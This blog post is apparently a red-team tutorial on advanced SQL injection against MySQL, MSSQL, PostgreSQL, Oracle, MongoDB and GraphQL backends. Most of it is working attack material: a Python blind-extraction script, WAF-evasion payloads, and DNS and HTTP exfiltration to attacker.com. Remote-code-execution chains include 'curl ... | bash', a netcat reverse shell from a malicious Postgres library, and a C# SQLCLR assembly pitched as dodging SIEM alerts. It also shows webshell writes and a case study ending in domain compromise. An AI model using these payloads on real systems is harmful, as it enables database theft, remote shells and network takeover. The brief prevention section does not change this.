Skip to main content
  1. Posts/

Advanced SQL injection for red team operators

··5335 words·26 mins·
Table of Contents

SQL injection is still in the OWASP Top 10 in 2024, which says more about how hard it is to retrofit parameterized queries onto a decade-old codebase than about how exotic the bug is. This post covers what you do once you’ve found one: manual UNION exfiltration, error-based and blind techniques, WAF evasion, out-of-band channels, second-order injection, and the sqlmap flags worth knowing past -u.

A SQLi in a web app gives you data exfiltration (credentials, PII, IP), authentication bypass, write access to records that should be off-limits, and on a misconfigured database, remote code execution via features like MSSQL’s xp_cmdshell or Postgres’s COPY TO PROGRAM. From RCE on the DB server, lateral movement into the rest of the internal network is usually trivial — credentials stored in the database, database links to other instances, or just SMB-adjacent network position.


SQL injection types
#

The categories matter because they determine what you can do once you’re in.

In-band SQLi (classic)
#

The attacker uses the same channel to inject the payload and retrieve results.

  • UNION-Based: Results of the injected query are directly returned in the application’s response.
  • Error-Based: The database’s error messages reveal data.

Inferential SQLi (blind)
#

The database doesn’t return data directly; you infer it from the app’s behavior.

  • Boolean-based blind: the page changes content based on whether a condition is true or false (“Welcome” vs. “Invalid”).
  • Time-based blind: the response time reveals the answer. SLEEP(5) on true, nothing on false.

Out-of-band (OOB) SQLi
#

You make the database itself reach out to a server you control — DNS or HTTP — and embed the answer in the connection. Useful when in-band and blind are both broken or too slow. Requires the database to have network egress and the right features enabled.

Second-order SQLi
#

The payload is stored on entry and executed later, by a different query, when something else reads it back. Automated scanners rarely catch these because the injection point and the execution point are different requests, sometimes different features entirely.


Manual UNION-based exploitation
#

sqlmap does this for you, but doing it by hand matters when the WAF fingerprints sqlmap’s request patterns or when you need to understand why your automated run is returning nothing. Six steps from “is this injectable” to “I have the password hashes.”

Step 1: confirm the injection point
#

Confirm that user input is being concatenated into a SQL query unsafely.

# Original request
GET /products?id=1

# Test for numeric injection (no quotes)
GET /products?id=1 AND 1=1       # Should behave normally
GET /products?id=1 AND 1=2       # Should behave differently (for example, no results)

# Test for string injection (quotes)
GET /products?id=1'              # Should cause an error or different behavior
GET /products?id=1' AND '1'='1   # Should behave normally
GET /products?id=1' AND '1'='2   # Should behave differently

Step 2: column count with ORDER BY
#

ORDER BY lets you probe the column count of the original query. UNION requires matching column counts, so this has to come first.

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4--  -- If this causes an error, the query has 3 columns.
If -- (double-dash comment) doesn’t work, try # (MySQL), /* */ (block comment), or --+ (URL-encoded space).

Step 3: find reflectable columns with UNION SELECT
#

Inject one literal at a time and watch which one appears in the response. The column that prints back is your sink for everything that follows.

-- For 3 columns
' UNION SELECT NULL,NULL,NULL--

-- Replace NULLs with test values one at a time
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

If nothing shows up no matter which slot you populate, you’re probably in blind territory.

Step 4: fingerprint the DBMS
#

Metadata queries differ between MySQL, MSSQL, Postgres, Oracle, and SQLite. Confirm which one you’re against before you waste time on the wrong syntax.

-- MySQL / MariaDB
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,version(),NULL--

-- Microsoft SQL Server (MSSQL)
' UNION SELECT NULL,@@version,NULL--

-- PostgreSQL
' UNION SELECT NULL,version(),NULL--

-- Oracle (note: requires FROM dual)
' UNION SELECT NULL,banner,NULL FROM v$version--
' UNION SELECT NULL,(SELECT banner FROM v$version WHERE ROWNUM=1),NULL FROM dual--

-- SQLite
' UNION SELECT NULL,sqlite_version(),NULL--

Step 5: enumerate schema
#

Walk through databases, tables, and columns.

MySQL:

-- List all databases
' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--

-- List tables in the current database
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--

-- List columns in a specific table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

Microsoft SQL Server (MSSQL):

-- List all databases
' UNION SELECT NULL,name,NULL FROM master.sys.databases--

-- List tables in the current database
' UNION SELECT NULL,name,NULL FROM sys.tables--

-- List columns in a specific table
' UNION SELECT NULL,name,NULL FROM sys.columns WHERE object_id=OBJECT_ID('users')--

PostgreSQL:

-- List all databases
' UNION SELECT NULL,datname,NULL FROM pg_database--

-- List tables
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'--

-- List columns
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

Step 6: dump the interesting columns
#

-- MySQL: Dump usernames and passwords
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--

-- MSSQL: Concatenation uses +
' UNION SELECT NULL,username+':'+password,NULL FROM users--

-- PostgreSQL: Concatenation uses ||
' UNION SELECT NULL,username||':'||password,NULL FROM users--

Error-based SQL injection
#

If UNION doesn’t work because the query output isn’t rendered but database errors are, force the database to leak data inside its own error messages. Type conversion is the usual lever.

MSSQL: CONVERT errors
#

' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--

If the username is “admin,” the error might say: Conversion failed when converting the nvarchar value 'admin' to data type int.

MySQL: EXTRACTVALUE / UPDATEXML
#

These XML functions can be abused to generate errors containing query results.

' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))--
-- Error: XPATH syntax error: '~root@localhost~'

' AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)--

PostgreSQL: CAST errors
#

' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
-- Error: invalid input syntax for type integer: "admin"

Blind SQL injection
#

No output, no errors — you only get to see whether the page rendered normally, and you infer everything else from that.

Boolean-based blind
#

The page content changes based on whether your injected condition is true or false.

-- Step 1: Confirm the injection
' AND 1=1--  (Page displays normally)
' AND 1=2--  (Page is empty or different)

-- Step 2: Extract data character by character
-- Is the first character of the database name greater than 'm'?
' AND SUBSTRING(database(),1,1)>'m'--

-- Binary search to find the exact character
' AND SUBSTRING(database(),1,1)='t'--
' AND SUBSTRING(database(),1,1)='e'--
' AND SUBSTRING(database(),1,1)='s'-- (True! First char is 's')

-- Extract second character
' AND SUBSTRING(database(),2,1)='e'--

This is slow — around 80 requests to extract a 10-character string with binary search, way more with linear search. It’s also why sqlmap exists.

Time-based blind
#

When the page always looks the same regardless of true or false, you fall back to timing. Make the database sleep when your condition is true, and measure.

-- MySQL
' AND IF(1=1,SLEEP(5),0)--  (Response takes 5 seconds)
' AND IF(1=2,SLEEP(5),0)--  (Response is immediate)

-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- Oracle (requires PL/SQL execution)
'; BEGIN IF (1=1) THEN dbms_lock.sleep(5); END IF; END;--

Extract data:

-- MySQL: Is the first character of the DB name 's'?
' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)--
Time-based injection can be slow and unreliable on networks with variable latency. Always calibrate your baseline response time first. If normal requests take 500ms and your target sleep is 5 seconds, the delay will be obvious. If network jitter is 3 seconds, you’ll get false positives.

Automating blind SQLi with Python
#

Sometimes the injection point is in a place sqlmap won’t reach cleanly — a JSON body inside a header, a request that needs a custom HMAC, a WAF that recognizes sqlmap’s payload shapes. In those cases you write the extractor yourself. It’s not glamorous code, but you should know how to write it.

Boolean-based blind, in Python 3:

import requests
import string
import sys

# Configuration
TARGET_URL = "http://target.com/vuln.php"
INJECTION_POINT = "id"  # Parameter to inject
TRUE_STRING = "User found"  # String present when query is TRUE
SESSION_COOKIE = "PHPSESSID=123456789"

# Character set to bruteforce (optimized order)
CHARSET = string.ascii_lowercase + string.digits + "._-@,"

def check_payload(payload):
    """
    Sends the payload and checks if the response indicates TRUE.
    """
    params = {INJECTION_POINT: payload}
    headers = {"Cookie": SESSION_COOKIE}
    
    try:
        r = requests.get(TARGET_URL, params=params, headers=headers, timeout=5)
        if TRUE_STRING in r.text:
            return True
        return False
    except requests.exceptions.RequestException as e:
        print(f"[!] Network Error: {e}")
        sys.exit(1)

def get_database_length():
    """
    Finds the length of the current database name.
    """
    print("[*] Determining database name length...")
    for i in range(1, 50):
        # Payload: 1' AND LENGTH(database())=X-- -
        payload = f"1' AND LENGTH(database())={i}-- -"
        if check_payload(payload):
            print(f"[+] Database name length: {i}")
            return i
    print("[-] Failed to determine length.")
    return None

def extract_database_name(length):
    """
    Extracts the database name character by character.
    """
    print("[*] Extracting database name...")
    db_name = ""
    
    for i in range(1, length + 1):
        found = False
        for char in CHARSET:
            # Payload: 1' AND SUBSTRING(database(),X,1)='Y'-- -
            # Note: We use hex encoding for the char to avoid quote issues
            char_hex = hex(ord(char))
            payload = f"1' AND SUBSTRING(database(),{i},1)={char_hex}-- -"
            
            sys.stdout.write(f"\r[>] Found: {db_name}{char}")
            sys.stdout.flush()
            
            if check_payload(payload):
                db_name += char
                found = True
                break
        
        if not found:
            db_name += "?"
            
    print(f"\n[+] Database Name: {db_name}")
    return db_name

if __name__ == "__main__":
    print("=== Blind SQLi Extractor ===")
    length = get_database_length()
    if length:
        extract_database_name(length)

Use binary search#

The script above does linear search — 'a', then 'b', then 'c', until it hits. That’s O(n). Since ASCII characters are just integers, binary search drops you to O(log n): ask “is the character value > 100?” and halve the range each time.

def extract_char_binary(index):
    low = 32   # Printable ASCII start
    high = 126 # Printable ASCII end
    
    while low <= high:
        mid = (low + high) // 2
        # Payload: 1' AND ASCII(SUBSTRING(database(),X,1))>Y-- -
        payload = f"1' AND ASCII(SUBSTRING(database(),{index},1))>{mid}-- -"
        
        if check_payload(payload):
            low = mid + 1
        else:
            high = mid - 1
            
    return chr(low)

7 requests per character instead of ~40. A 10-character password drops from 400 requests to 70.


Stacked queries
#

Some database/driver combinations let you run multiple semicolon-separated statements in one request.

'; DROP TABLE users;--
'; INSERT INTO users (username, password) VALUES ('hacker','pwned');--

Support varies. MSSQL and PostgreSQL allow it. SQLite does via executescript(). MySQL depends on the driver — PHP’s old mysql_query() blocked it, mysqli_multi_query() and PDO can permit it. Oracle doesn’t allow stacked queries at all.

When you do have them, stacked queries open the door to writes (INSERT/UPDATE/DELETE), enabling dangerous features (sp_configure 'xp_cmdshell', 1), and time-based blind on engines without inline sleep functions.


Second-order SQL injection
#

Second-order (sometimes called stored) SQLi happens when input is safely parameterized on the way into the database but then concatenated back into a query later, by a different code path.

A canonical example: an attacker registers with the username admin'--. The signup endpoint uses prepared statements, so the value goes into users cleanly. Later, an admin-facing audit page retrieves that username and builds a query like:

$username = get_username_from_db($user_id);  // Returns "admin'--"
$query = "SELECT * FROM orders WHERE user = '$username'";

The resulting query becomes SELECT * FROM orders WHERE user = 'admin'--'. The attacker is now reading the admin’s orders.

This is hard to find because the injection point and the execution point are different requests, often in different features. Automated scanners almost always miss them. The way you find them by hand is by registering with payloads as your stored fields (usernames, emails, profile bios, display names) and then poking around every feature that reads those fields back — admin dashboards, audit logs, exports, anywhere “what’s my username again” reappears.


WAF evasion
#

WAFs match patterns. SELECT, UNION, OR 1=1 — all on the blocklist. You get past them by exploiting the gap between what the WAF parses and what the database parses.

Inline comments
#

MySQL ignores /* ... */ mid-keyword. Many WAFs don’t.

-- Bypassing with inline comments (MySQL specific)
UN/**/ION SEL/**/ECT 1,2,3--

-- Version comments (MySQL): Executed only if server version >= 5.00.00
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3--

Case manipulation
#

SQL keywords are case-insensitive. WAF regexes often aren’t.

uNiOn sElEcT 1,2,3--
UnIoN aLl SeLeCt 1,2,3--

Encoding
#

URL-encode your payload. Double-encoding catches WAFs that decode exactly once before inspecting.

-- Standard URL Encoding
%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33--

-- Double URL Encoding
%2555%254e%2549%254f%254e (UNION)

Hex-encoded strings (MySQL)
#

Replace string literals with their hex equivalents.

' UNION SELECT 1,0x61646d696e,3--
-- 0x61646d696e is the hex encoding of "admin"

Whitespace substitution
#

SQL accepts tabs, newlines, and inline /**/ comments where a space is expected. WAFs sometimes don’t.

-- Tab character (%09)
'%09UNION%09SELECT%091,2,3--

-- Newline (%0A)
'%0aUNION%0aSELECT%0a1,2,3--

-- Inline comments as whitespace
'/**/UNION/**/SELECT/**/1,2,3--

HTTP parameter pollution
#

The WAF inspects the first id=. The backend concatenates both or uses the last one. Put your payload in the second copy.

GET /vuln?id=1&id=' UNION SELECT 1,2,3--

JSON/XML bodies
#

If the app accepts JSON or XML, the WAF may inspect form-encoded params more aggressively than structured bodies.

{
  "id": "1' UNION SELECT 1,user(),3--"
}

Unicode normalization
#

Modern WAFs decode input before pattern-matching. But if the database normalizes Unicode differently than the WAF does, you can smuggle keywords past it.

The Kelvin sign (U+212A) folds to lowercase k under some normalization rules. Inject SELEC<U+212A> and the WAF sees a non-ASCII character that doesn’t match its blocklist for SELECT. The database folds it to k and runs the statement as SELECT.

Full-width ASCII (SELECT) plays the same trick. The WAF sees distinct Unicode codepoints; MySQL or MSSQL may fold them to their ASCII equivalents and execute the query.


Out-of-band exfiltration
#

When in-band (UNION, error-based) and blind both fail or are too slow, you make the database itself reach out to a server you control and embed the answer in the connection. Two requirements: the DB server has network egress, and the relevant function (xp_dirtree, UTL_HTTP, COPY TO PROGRAM) isn’t disabled.

DNS exfiltration
#

DNS leaves most networks. Force the database to resolve a hostname containing the exfiltrated string, then read it off your authoritative server.

MSSQL:

-- Force a DNS lookup; the subdomain contains the query result
'; DECLARE @data VARCHAR(1024); SELECT @data = user; EXEC('master..xp_dirtree "\\' + @data + '.attacker.com\foo"')--

Check your DNS logs (for example using nslookup, tcpdump, or a Burp Collaborator) for queries like sa.attacker.com.

Oracle:

SELECT UTL_INADDR.get_host_address((SELECT user FROM dual)||'.attacker.com') FROM dual;

PostgreSQL:

PostgreSQL doesn’t have a built-in DNS function, but you can use COPY TO PROGRAM if you have sufficient privileges:

COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).attacker.com';

HTTP exfiltration
#

When HTTP egress is allowed:

Oracle (UTL_HTTP):

SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT user FROM dual)) FROM dual;

PostgreSQL (COPY TO PROGRAM):

COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?data=$(whoami)';

MSSQL (xp_cmdshell):

'; EXEC xp_cmdshell 'curl http://attacker.com/?data=%USERNAME%'--

Catching the callbacks
#

Burp Collaborator (Burp Suite Professional), Interactsh (free, self-hostable), or DNSLog for quick one-off checks. Pick one and stick with it — bouncing between them mid-test is how you lose data.


From SQLi to RCE
#

Most SQLi engagements aren’t about the data — they’re about the box the database is running on. The path varies by DBMS.

MSSQL: xp_cmdshell
#

-- Enable xp_cmdshell (requires sysadmin)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

-- Execute commands
'; EXEC xp_cmdshell 'whoami';--
'; EXEC xp_cmdshell 'powershell -enc BASE64_ENCODED_PAYLOAD';--

PostgreSQL: COPY TO PROGRAM
#

Requires superuser privileges.

'; COPY (SELECT '') TO PROGRAM 'id';--
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash';--

Alternatively, use Large Object functions:

'; SELECT lo_export(12345, '/tmp/shell.sh');-- (after importing shellcode)
'; COPY (SELECT '') TO PROGRAM 'bash /tmp/shell.sh';--

MySQL: INTO OUTFILE / LOAD_FILE
#

MySQL can write files to the filesystem (if secure_file_priv allows):

' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

Read files:

' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--

Oracle: Java Stored Procedures / Scheduler Jobs
#

If Java is installed in Oracle, you can create a Java stored procedure to execute OS commands. This is complex and typically requires DBA privileges.


PostgreSQL: from admin to RCE via UDFs
#

If your SQLi user is postgres or has superuser, you can get RCE by compiling a malicious shared object and loading it as a user-defined function. The mechanism is legitimate Postgres extensibility being used the wrong way.

Step 1: build the shared object
#

A C file that defines a Postgres-compatible function calling system():

// evil.c
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(run_cmd);

Datum run_cmd(PG_FUNCTION_ARGS) {
    text *command = PG_GETARG_TEXT_P(0);
    char *cmd_str = text_to_cstring(command);
    
    // Execute the command
    int result = system(cmd_str);
    
    PG_RETURN_INT32(result);
}

Compile it on a machine with the same architecture (usually Linux x64) and Postgres headers installed: gcc -fPIC -c evil.c gcc -shared -o evil.so evil.o

Step 2: write the library to disk
#

Postgres’s large-object functions (lo_create, lo_export, and direct pg_largeobject writes) give you arbitrary-file-write as long as the postgres user has filesystem access to the target directory. Hex-encode the .so first so it survives quoting.

-- 1. Create a Large Object (LO)
SELECT lo_create(1337);

-- 2. Inject the payload in 2KB chunks (Postgres has page limits)
-- Hex data of evil.so
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 0, decode('7f454c46...', 'hex'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 1, decode('...', 'hex'));

-- 3. Export the LO to a file
SELECT lo_export(1337, '/tmp/evil.so');

Step 3: load and execute
#

With the library at /tmp/evil.so, bind it as a function and call it.

-- Create the function mapping
CREATE OR REPLACE FUNCTION run_cmd(text) RETURNS int4 AS '/tmp/evil.so', 'run_cmd' LANGUAGE C STRICT;

-- Trigger RCE
SELECT run_cmd('nc -e /bin/bash attacker.com 4444');

Mitigations: creating C-language functions is restricted to superusers by default; the postgres user typically can’t write to directories outside its data dir; and recent installations restrict LOAD to libraries under specific trusted paths. Make sure your engagement target hasn’t done any of that before you waste an hour.


sqlmap past the basics
#

sqlmap -u URL is the demo. The actual engagement uses about a dozen more flags, and skipping them costs you findings.

Flags worth knowing
#

# Specify injection point with * marker
sqlmap -u "http://target.com/page?id=1*" --batch

# Test all parameters, including headers
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

# Level 5 tests: Cookie, User-Agent, Referer, X-Forwarded-For headers
# Risk 3 includes: OR-based injections, heavy time-based injections, stacked queries

Tamper scripts
#

# List available tamper scripts
sqlmap --list-tampers

# Common bypass combination
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,randomcase,between

# MySQL WAF bypass
sqlmap -u "..." --tamper=charencode,space2mssqlhash,versionedkeywords

Pulling data out
#

# Dump all databases
sqlmap -u "..." --dbs

# Dump tables from a specific database
sqlmap -u "..." -D target_db --tables

# Dump columns from a specific table
sqlmap -u "..." -D target_db -T users --columns

# Dump specific columns
sqlmap -u "..." -D target_db -T users -C username,password --dump

Post-exploitation
#

# Get an OS shell (MSSQL/PostgreSQL)
sqlmap -u "..." --os-shell

# Get a SQL shell
sqlmap -u "..." --sql-shell

# Read a file
sqlmap -u "..." --file-read=/etc/passwd

# Write a file (webshell)
sqlmap -u "..." --file-write=shell.php --file-dest=/var/www/html/shell.php

Proxying and logging
#

# Proxy through Burp to analyze requests
sqlmap -u "..." --proxy=http://127.0.0.1:8080

# Save traffic to a file
sqlmap -u "..." -t traffic.txt

NoSQL injection
#

MEAN/MERN stacks usually run MongoDB instead of a relational database. Mongo doesn’t speak SQL, so the classic ' OR 1=1 is useless — but the underlying mistake (concatenating user input into a query) shows up exactly the same, just in JSON.

Authentication bypass
#

A typical Mongo login: db.users.find({username: req.body.username, password: req.body.password}).

If the attacker sends a JSON object instead of a plain string for password:

{
  "username": "admin",
  "password": {
    "$ne": ""
  }
}

The query becomes “find a user where username is ‘admin’ and password is not equal to empty string.” The admin has a password, the predicate is true, and you’re logged in as admin.

Blind NoSQL injection
#

Use $regex to extract data character by character.

{
  "username": "admin",
  "password": {
    "$regex": "^a"
  }
}

If the query returns a user, the password starts with a. Iterate as you would with blind SQLi.

$where JavaScript injection
#

If the app uses $where, you get arbitrary server-side JavaScript execution.

db.users.find({
    $where: "this.username == '" + input + "'"
})

Payload: admin' || sleep(5000) || '

That’s time-based blind via JavaScript instead of SQL.


Oracle SQL injection
#

Oracle shows up in financial and government systems more than anywhere else. The syntax is different enough that everything you’d reflexively type in MySQL needs adjusting.

The DUAL table
#

Every Oracle SELECT needs a FROM. With no real source table, you select from dual: ' UNION SELECT 'a', 'b' FROM dual--

String concatenation
#

Oracle uses ||, not + or CONCAT(): ' UNION SELECT user || ':' || password FROM users--

Version fingerprinting
#

' UNION SELECT banner FROM v$version--

LISTAGG for bulk extraction
#

Oracle 11gR2 added LISTAGG, which is Oracle’s GROUP_CONCAT. Useful when a WAF blocks OFFSET and you’d otherwise need many separate queries to walk a table.

' UNION SELECT LISTAGG(column_name, ',') WITHIN GROUP (ORDER BY column_name) FROM all_tab_columns WHERE table_name='USERS'--

Out-of-band with UTL_HTTP and UTL_INADDR
#

Oracle ships with a lot of network-capable built-in packages. The DBA may have revoked access, or they may not have.

DNS:

SELECT UTL_INADDR.get_host_address((SELECT user FROM dual)||'.attacker.com') FROM dual;

HTTP:

SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual;

DBAs can restrict these packages with ACLs but often haven’t — they’re enabled by default and frequently granted to PUBLIC.


GraphQL injection
#

GraphQL gets treated as a separate attack surface, but most resolvers eventually hit a SQL database via an ORM (Sequelize, TypeORM, Prisma). If the resolver concatenates the argument into a raw query, SQLi flows through GraphQL exactly like any other input.

The setup
#

A simple GraphQL query:

query {
  user(id: "1") {
    username
    email
  }
}

The resolver might do: const query = "SELECT * FROM users WHERE id = '" + args.id + "'";

The exploit
#

The injection goes inside the JSON payload exactly like any other field:

{
  "query": "query { user(id: \"1' OR 1=1--\") { username email } }"
}

Blind injection in GraphQL
#

GraphQL typically returns generic errors (“Internal Server Error”) or null on failure, so error-based extraction is usually off the table. That leaves boolean or time-based blind.

Time-based payload (Postgres backend):

query {
  products(category: "Electronics' OR pg_sleep(10)--") {
    name
  }
}

If the request hangs ten seconds, you have SQLi through the GraphQL layer.


Writing custom sqlmap tamper scripts
#

Sometimes the built-in tamper scripts don’t cover what you’re up against. The WAF replaces UNION with XXX, expects a magic HMAC header, or demands a custom Content-Type. sqlmap lets you write Python that modifies every payload before it goes out.

Drop the file in sqlmap/tamper/:

#!/usr/bin/env python

"""
Bypasses a WAF that strips "UNION SELECT" by replacing it with "UNION/*FOO*/SELECT"
and randomizing the case.
"""

from lib.core.enums import PRIORITY
import random

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def randomize_case(s):
    return "".join(random.choice([c.upper(), c.lower()]) for c in s)

def tamper(payload, **kwargs):
    """
    Modifies the payload
    """
    if payload:
        # Replace spaces with comments
        payload = payload.replace("UNION SELECT", "UNION/*FOO*/SELECT")
        
        # Randomize case for keywords
        payload = randomize_case(payload)
        
    return payload

Run it with: sqlmap -u "http://target.com?id=1" --tamper=my_bypass.py

The plugin surface is the reason sqlmap still beats every from-scratch attempt at writing a “modern” SQLi tool. The protocol-level grunt work is already done; you only have to write the WAF-specific delta.


Prevention and mitigation
#

Knowing the defenses matters because the report you write is what the customer remediates against. “Stop using string concatenation” is not enough on its own.

Parameterized queries
#

# VULNERABLE (string concatenation)
cursor.execute("SELECT * FROM users WHERE id = '" + user_id + "'")

# SAFE (parameterized query)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

Parameterized queries treat user input as data, never as code. This is the actual fix. Everything below is defense in depth on top of it.

Defense in depth
#

The application database user should not be sa, root, or postgres. Grant SELECT on the specific tables it needs and nothing else — no DDL, no xp_cmdshell, no pg_read_server_files. When SQLi happens anyway, this is the difference between “data exposure for one table” and “full domain compromise.”

Disable the dangerous built-ins. xp_cmdshell on MSSQL, UTL_HTTP and UTL_FILE on Oracle, lo_export on Postgres. Set MySQL’s secure_file_priv so LOAD_FILE and INTO OUTFILE can’t reach anywhere interesting. Turn off stacked queries at the driver level if your app doesn’t need them.

Use an ORM. SQLAlchemy, Hibernate, the Django ORM — they all use prepared statements under the hood, and the only way to introduce SQLi through them is to deliberately drop into raw query mode. Don’t do that.

Don’t show raw database errors to users. Log them server-side, show generic messages. This kills error-based extraction and prevents schema leakage to anyone fuzzing the app.

WAFs go last. Assume any WAF will be bypassed eventually — they’re an extra layer, not a substitute for fixing the underlying code.


MSSQL: bypassing xp_cmdshell with CLR assemblies
#

In hardened MSSQL environments, xp_cmdshell is disabled and monitored — running it lights up every SIEM alert in the building. SQLCLR is the way around that. The Common Language Runtime is a legitimate MSSQL feature that lets you load a .NET assembly into the database process and execute managed code from T-SQL.

With ALTER ANY ASSEMBLY (which you have if you’re sysadmin), you can load your own DLL and call out to cmd.exe from there. The detection signature is completely different from xp_cmdshell.

Step 1: write the C# payload
#

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec(SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format("/c {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
}

Compile this to shell.dll.

Step 2: enable CLR
#

sp_configure 'clr enabled', 1;
RECONFIGURE;

Step 3: import the assembly
#

Convert the DLL to a hex string and import it.

CREATE ASSEMBLY [Shell]
FROM 0x4D5A90000300000004000000FFFF0000... -- Hex of shell.dll
WITH PERMISSION_SET = UNSAFE;
Setting PERMISSION_SET = UNSAFE requires the database to be marked as TRUSTWORTHY. ALTER DATABASE [master] SET TRUSTWORTHY ON;

Step 4: bind the procedure and execute
#

CREATE PROCEDURE [dbo].[cmd_exec]
@execCommand NVARCHAR (4000)
AS EXTERNAL NAME [Shell].[StoredProcedures].[cmd_exec];

-- Execute
EXEC cmd_exec 'whoami';

SIEM rules tuned for xp_cmdshell won’t catch this. Rules tuned for CLR assemblies being created at runtime will. Know which your target has.


Case study: SQLi in a hardened financial app
#

A composite scenario, but every step here comes from a real engagement. Names and dates anonymized; techniques are unchanged.

The target
#

A wealth management portal behind a name-brand cloud WAF, strictly segmented from the internet, with a backend database holding HNWI (high-net-worth individual) client data. The objective was access to that database.

Phase 1: reconnaissance and WAF frustration
#

Standard fuzzing got us nowhere.

GET /api/v1/user?id=1' -> 403 Forbidden (WAF blocked). GET /api/v1/user?id=1 AND 1=1 -> 403 Forbidden.

The WAF was dropping anything that contained UNION, SELECT, AND, or OR — even innocuous user-supplied strings like the literal phrase “select options” in a profile field.

Phase 2: the evasion
#

URL encoding, case switching, the usual tamper scripts — all dead. The bypass that finally worked was chunked transfer encoding against a legacy IIS backend.

The WAF inspected the request body as a whole. IIS reassembled chunks before parsing. By splitting our payload across chunks at carefully chosen boundaries, we ended up with a request where the WAF saw fragments that didn’t trip any rule and IIS saw the complete attack.

Request:

POST /api/v1/search HTTP/1.1
Host: target.wealth.com
Transfer-Encoding: chunked
Content-Type: application/json

4
{"q"
3
: "
9
admin' --
2
"}
0

WAF: meaningless chunks. Backend: {"q": "admin' --"}. Response: 200 OK.

Phase 3: the blind injection
#

The /api/v1/search endpoint returned a JSON list of documents.

{"q": "admin' AND 1=1--"} returned results. {"q": "admin' AND 1=2--"} returned an empty list. Boolean-based blind, confirmed.

Running sqlmap through the chunking-bypass script was painful — roughly one request per second due to network overhead and the per-request reassembly cost. At that rate, extracting interesting tables would have taken weeks. We needed a different path.

Phase 4: second-order escalation
#

The profile page let us set a “nickname” field. We set ours to Admin'/*.

The audit log feature listed recent actions by user, with a query that looked something like SELECT * FROM logs WHERE username = 'Current_User_Nickname'. When we viewed the log, the query became SELECT * FROM logs WHERE username = 'Admin'/*' — and the /* happily commented out the rest. We had second-order SQLi.

Turning that into actual extraction took some fiddling. Our first attempt at a nickname (' UNION SELECT 1, user, 3, 4--) crashed the page with a 500 — column count mismatch, and ORDER BY from the stored injection context was awkward. After manual enumeration we landed on 12 columns:

' UNION SELECT 1, 2, 3, @@version, 5, 6, 7, 8, 9, 10, 11, 12--

The audit log rendered with Microsoft SQL Server 2016 (SP2) - 13.0.5026.0 (X64) where a log entry should have been. In-band SQLi reached via a second-order vector, with full output visible.

Phase 5: exfiltration and RCE
#

We dumped the sa password hash and tried to crack it. Strong; no luck. We checked whether xp_cmdshell was enabled: ' UNION SELECT 1, (SELECT CASE WHEN value=1 THEN 'ENABLED' ELSE 'DISABLED' END FROM sys.configurations WHERE name='xp_cmdshell'), ...

Output: DISABLED. We tried to enable it ourselves:

'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

Error: User does not have permission to perform this action. We weren’t sa. We were db_owner for the application database, but not sysadmin on the instance.

Phase 6: the pivot
#

We listed the other databases on the instance:

' UNION SELECT 1, name, 3... FROM sys.databases--

One of them was Legacy_Auth. We dumped its users table — and it stored credentials in cleartext for a service account named svc_legacy_backup.

From our C2 (proxied via SOCKS), we connected directly to the database with impacket-mssqlclient:

mssqlclient.py wealth/svc_legacy_backup@10.10.10.50

That account was sysadmin on the instance. Backup service accounts often are — they need permissions to read every database, and someone took a shortcut. enable_xp_cmdshell succeeded, and xp_cmdshell whoami came back as nt authority\system.

The aftermath
#

LSASS dump on the SQL server, Domain Admin hash recovered, full Windows domain compromise from there. Root cause: one unsanitized search parameter, one nickname field that nobody thought to fuzz, and a backup service account stored in cleartext in a database nobody had inventoried.


Closing
#

